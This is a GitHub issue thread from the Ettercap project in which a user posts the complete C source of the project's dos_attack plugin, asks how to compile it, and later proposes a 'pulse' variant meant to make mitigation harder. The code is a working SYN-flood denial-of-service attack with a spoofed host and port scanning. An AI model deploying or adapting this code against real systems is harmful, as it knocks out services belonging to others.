Ettercap / ettercap

Ettercap Project
http://www.ettercap-project.org
GNU General Public License v2.0
2.29k stars 488 forks source link

Suggestion for new dos_attack plugin #885

Open ghost opened 6 years ago

ghost commented 6 years ago

Wrote a plugin, tried to compile it into a .so with the command gcc -shared -o libhello.so -fPIC hello.c, which seemed to work (it put the .so file in the same directory as the .c file. For some reason, though, when I go to load the plugin, Ettercap crashes without a report or anything. Here's the plugin I'm working on:

/*
    dos_attack -- ettercap plugin -- Run a D.O.S. attack (based on Naptha)

    Copyright (C) ALoR & NaGA

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

*/

#include </home/attacker/Downloads/ettercap/include/ec.h>                       /* required for global variables */
#include </home/attacker/Downloads/ettercap/include/ec_plugins.h>               /* required for plugin ops */
#include </home/attacker/Downloads/ettercap/include/ec_hook.h>
#include </home/attacker/Downloads/ettercap/include/ec_packet.h>
#include </home/attacker/Downloads/ettercap/include/ec_send.h>                   
#include </home/attacker/Downloads/ettercap/include/ec_threads.h>
#include </home/attacker/Downloads/ettercap/include/ec_sleep.h>

/* protos */
int plugin_load(void *);
static int dos_attack_init(void *);
static int dos_attack_fini(void *);
static void parse_arp(struct packet_object *po);

#ifdef WITH_IPV6
static void parse_icmp6(struct packet_object *po);
#endif
static void parse_tcp(struct packet_object *po);
EC_THREAD_FUNC(syn_flooder);

struct port_list {
   u_int16 port;
   SLIST_ENTRY(port_list) next;
};

/* globals */
static struct ip_addr fake_host;
static struct ip_addr victim_host;
SLIST_HEAD(, port_list) port_table;

/* plugin operations */
struct plugin_ops dos_attack_ops = {
   /* ettercap version MUST be the global EC_VERSION */
   .ettercap_version =  EC_VERSION,                      
   /* the name of the plugin */
   .name =              "dos_attack",  
    /* a short description of the plugin (max 50 chars) */                   
   .info =              "Run a d.o.s. attack against an IP address",  
   /* the plugin version. */
   .version =           "1.0",   
   /* activation function */
   .init =              &dos_attack_init,
   /* deactivation function */                   
   .fini =              &dos_attack_fini,
};

/**********************************************************/

/* this function is called on plugin load */
int plugin_load(void *handle)
{
   return plugin_register(handle, &dos_attack_ops);
}

/******************* STANDARD FUNCTIONS *******************/

static int dos_attack_init(void *dummy)
{
   char dos_addr[MAX_ASCII_ADDR_LEN];
   char unused_addr[MAX_ASCII_ADDR_LEN];
   struct port_list *p;

   /* variable not used */
   (void) dummy;

   /* It doesn't work if unoffensive */
   if (GBL_OPTIONS->unoffensive) {
    INSTANT_USER_MSG("dos_attack: plugin doesn't work in UNOFFENSIVE mode\n");
    return PLUGIN_FINISHED;
   }

   /* don't show packets while operating */
   GBL_OPTIONS->quiet = 1;

   memset(dos_addr, 0, sizeof(dos_addr));
   memset(unused_addr, 0, sizeof(dos_addr));

   ui_input("Insert victim IP: ", dos_addr, sizeof(dos_addr), NULL);
   if (ip_addr_pton(dos_addr, &victim_host) == -E_INVALID) {
    INSTANT_USER_MSG("dos_attack: Invalid IP address.\n");
    return PLUGIN_FINISHED;
   }

   ui_input("Insert unused IP: ", unused_addr, sizeof(unused_addr), NULL);
   if (ip_addr_pton(unused_addr, &fake_host) == -E_INVALID) {
    INSTANT_USER_MSG("dos_attack: Invalid IP address.\n");
    return PLUGIN_FINISHED;
   }

   if(victim_host.addr_type != fake_host.addr_type) {
    INSTANT_USER_MSG("dos_attack: Address' families don't match.\n");
    return PLUGIN_FINISHED;
   }

   INSTANT_USER_MSG("dos_attack: Starting scan against %s [Fake Host: %s]\n", dos_addr, unused_addr);

   /* Delete the "open" port list just in case of previous executions */
   while (!SLIST_EMPTY(&port_table)) {
    p = SLIST_FIRST(&port_table);
    SLIST_REMOVE_HEAD(&port_table, next);
    SAFE_FREE(p);
   }

   /* Add the hook to "create" the fake host */
   if(ntohs(fake_host.addr_type) == AF_INET)
    hook_add(HOOK_PACKET_ARP_RQ, &parse_arp);
#ifdef WITH_IPV6
   else if(ntohs(fake_host.addr_type) == AF_INET6)
    hook_add(HOOK_PACKET_ICMP6_NSOL, &parse_icmp6);
#endif

   /* Add the hook for SYN-ACK reply */
   hook_add(HOOK_PACKET_TCP, &parse_tcp);

   /* create the flooding thread */
   ec_thread_new("golem", "SYN flooder thread", &syn_flooder, NULL);

   return PLUGIN_RUNNING;
}

static int dos_attack_fini(void *dummy)
{
   pthread_t pid;

   /* variable not used */
   (void) dummy;

   /* Remove the hooks */
   hook_del(HOOK_PACKET_ARP_RQ, &parse_arp);
   hook_del(HOOK_PACKET_TCP, &parse_tcp);

   pid = ec_thread_getpid("golem");

   /* the thread is active or not ? */
   if (!pthread_equal(pid, EC_PTHREAD_NULL))
    ec_thread_destroy(pid);

   INSTANT_USER_MSG("dos_attack: plugin terminated...\n");

   return PLUGIN_FINISHED;   
}

/*********************************************************/

/*
 * This thread first sends SYN packets to some ports (a little port scan)
 * then starts to flood active ports with other SYN packets.
 */
EC_THREAD_FUNC(syn_flooder)
{
   u_int16 sport = 0xe77e, dport;
   u_int32 seq = 0xabadc0de;
   struct port_list *p;

   /* variable not used */
   (void) EC_THREAD_PARAM;

   /* init the thread and wait for start up */
   ec_thread_init();

   /* First "scan" ports from 1 to 1024 */
   for (dport=1; dport<1024; dport++) {
    send_tcp(&fake_host, &victim_host, sport++, htons(dport), seq++, 0, TH_SYN, NULL, 0);
    ec_usleep(1000);
   }

   INSTANT_USER_MSG("dos_attack: Starting attack...\n");

   /* Continue flooding open ports */
   LOOP {
    CANCELLATION_POINT();

    SLIST_FOREACH(p, &port_table, next)    
        send_tcp(&fake_host, &victim_host, sport++, p->port, seq++, 0, TH_SYN, NULL, 0);

    ec_usleep(1000);
   }

   return NULL;
}

/* Parse the arp packets and reply for the fake host */
static void parse_arp(struct packet_object *po)
{
   if (!ip_addr_cmp(&fake_host, &po->L3.dst))
    send_arp(ARPOP_REPLY, &po->L3.dst, GBL_IFACE->mac, &po->L3.src, po->L2.src);
}

#ifdef WITH_IPV6
static void parse_icmp6(struct packet_object *po)
{
   struct ip_addr ip;
   ip_addr_init(&ip, AF_INET6, po->L4.options);
   if(!ip_addr_cmp(&fake_host, &ip))
    send_L2_icmp6_nadv(&fake_host, &po->L3.src, GBL_IFACE->mac, 0, po->L2.src);
}
#endif

/*
 * Populate the open port list and reply to
 * SYN-ACK packets from victim host
 */
static void parse_tcp(struct packet_object *po)
{
   struct port_list *p;

   /* Check if it's a reply to our SYN flooding */
   if (ip_addr_cmp(&fake_host, &po->L3.dst) ||
    ip_addr_cmp(&victim_host, &po->L3.src) ||
    po->L4.flags != (TH_SYN | TH_ACK))  
        return;

   /* Complete the handshake with an ACK */
   send_tcp(&fake_host, &victim_host, po->L4.dst, po->L4.src, po->L4.ack, htonl( ntohl(po->L4.seq) + 1), TH_ACK, NULL, 0);

   /* Check if the port is already in the "open" list... */
   SLIST_FOREACH(p, &port_table, next)
    if (p->port == po->L4.src)
        return;

   /* If not...put it in */
   SAFE_CALLOC(p, 1, sizeof(struct port_list));
   p->port = po->L4.src;
   SLIST_INSERT_HEAD(&port_table, p, next);

   INSTANT_USER_MSG("dos_attack: Port %d added\n", ntohs(p->port));
}

/* EOF */

// vim:ts=3:expandtab

Is there a better way to accomplish this? Thanks so much!

ghost commented 6 years ago

Does no one know how to do this? At least can someone point me in the direction of proper documentation/research? I've practically been living on this GitHub for the last three weeks, and I've seen nothing about proper plugin compilation... To reiterate, I'm just trying to compile this, which is the stock DoS plugin to ensure that I can compile the plugins correctly. @koeppea maybe you can help me?

koeppea commented 6 years ago

the easiest way is to put the source code file under a dedicate folder under plug-ins directory of ettercap's source tree. then add it to the PLUGINS list in plug-ins/CMakeLists.txt. Then your plugin should compile and link correctly when you rebuild ettercap using make within the build directory.

You can also watch out for me in our IRC channel. I'll be there for the next hour.

koeppea commented 6 years ago

I'm named format_c in IRC.

ghost commented 6 years ago

@koeppea I gave that a shot, and now I see it linked correctly. Unfortunately, however, it's not showing up in the "plugins" list in Ettercap, and when I try to load it, it says that the plugin has already been loaded. Any idea how to add it to the plugins within Ettercap? Thanks!

koeppea commented 6 years ago

Commit your changes in your fork of Ettercap and I can have a look.

ghost commented 6 years ago

@koeppea just did it at this link. Thanks again for your help!

ghost commented 6 years ago

@koeppea It looks like I figured it out again! I had forgotten to change the name and description of the attack within the C code. Thank again for your help! It was invaluable!

sgeto commented 6 years ago

@Schnuggs

Hey, how is your plugin performing so far? If it's worth the name you gave it, it could very well be part of ettercap.

Can I interest you in sharing the plugin with the rest of us?

On Mar 19, 2018, at 6:01 PM, Schnuggs notifications@github.com wrote:

@koeppea It looks like I figured it out again! I had forgotten to change the name and description of the attack within the C code. Thank again for your help! It was invaluable!

— You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub, or mute the thread.

ghost commented 6 years ago

@sgeto I’d love to! It’s basically just a variation of a DoS attack where the flooding is done in intervals, making mitigation more difficult. I’ll give you guys the source when I’m done, but I’m only really editing your own dos_attack.c file a little bit.

sgeto commented 6 years ago

Don't worry. Improving an existing plugin is just as valuable as creating a new one. If you're happy with your result, let us know, or, even better, open a pull request and we take it from there.

Looking forward to hear from you.

On Mar 21, 2018, at 1:16 AM, Schnuggs notifications@github.com wrote:

@sgeto I’d love to! It’s basically just a variation of a DoS attack where the flooding is done in intervals, making mitigation more difficult. I’ll give you guys the source when I’m done, but I’m only really editing your own dos_attack.c file a little bit.

— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub, or mute the thread.

ghost commented 6 years ago

@sgeto what branch should I make the pull request for?

sgeto commented 6 years ago

ettercap/master

On Mar 22, 2018, at 5:37 PM, Schnuggs notifications@github.com wrote:

@sgeto what branch should I make the pull request for?

— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub, or mute the thread.

koeppea commented 6 years ago

So we're good to close this issue?

ghost commented 6 years ago

@koeppea I believe we are good to close it.

@sgeto for some reason, my git commands are all messed up, so I'll attach the pulse_attack.c source code here. You'll have to add it to the CMakeLists to compile it and make a dedicated folder called pulse_attack. Additionally, I'm uploading it as a TXT file, so you'll have to put the code into a C file. pulse_attack.txt

Sorry!

koeppea commented 6 years ago

Just renamed this issue. We'll keep it here but won't schedule it for the upcoming release, since the upcoming release's goal ist to focus on code maintenance and not on new features. We'll pick this up when all the efforts for the new release are done. Then we'll serve this into a dedicated pull reuqest on your behalf.

@sgeto different opinion?

ghost commented 6 years ago

That sounds great! Shoot me an email when it’s up :) also let me know how it works in your tests!

sgeto commented 6 years ago

Nope. Exactly my thoughts.

"We are saddened by a bird's cry, but not for a fish's blood. Blessed are those with voices."

-Mamoru Oshii

On Apr 6, 2018, at 1:48 AM, Alexander Köppe notifications@github.com wrote:

Just renamed this issue. We'll keep it here but won't schedule it for the upcoming release, since the upcoming release's goal ist to focus on code maintenance and not on new features. We'll pick this up when all the efforts for the new release are done. Then we'll serve this into a dedicated pull reuqest on your behalf.

@sgeto different opinion?

— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub, or mute the thread.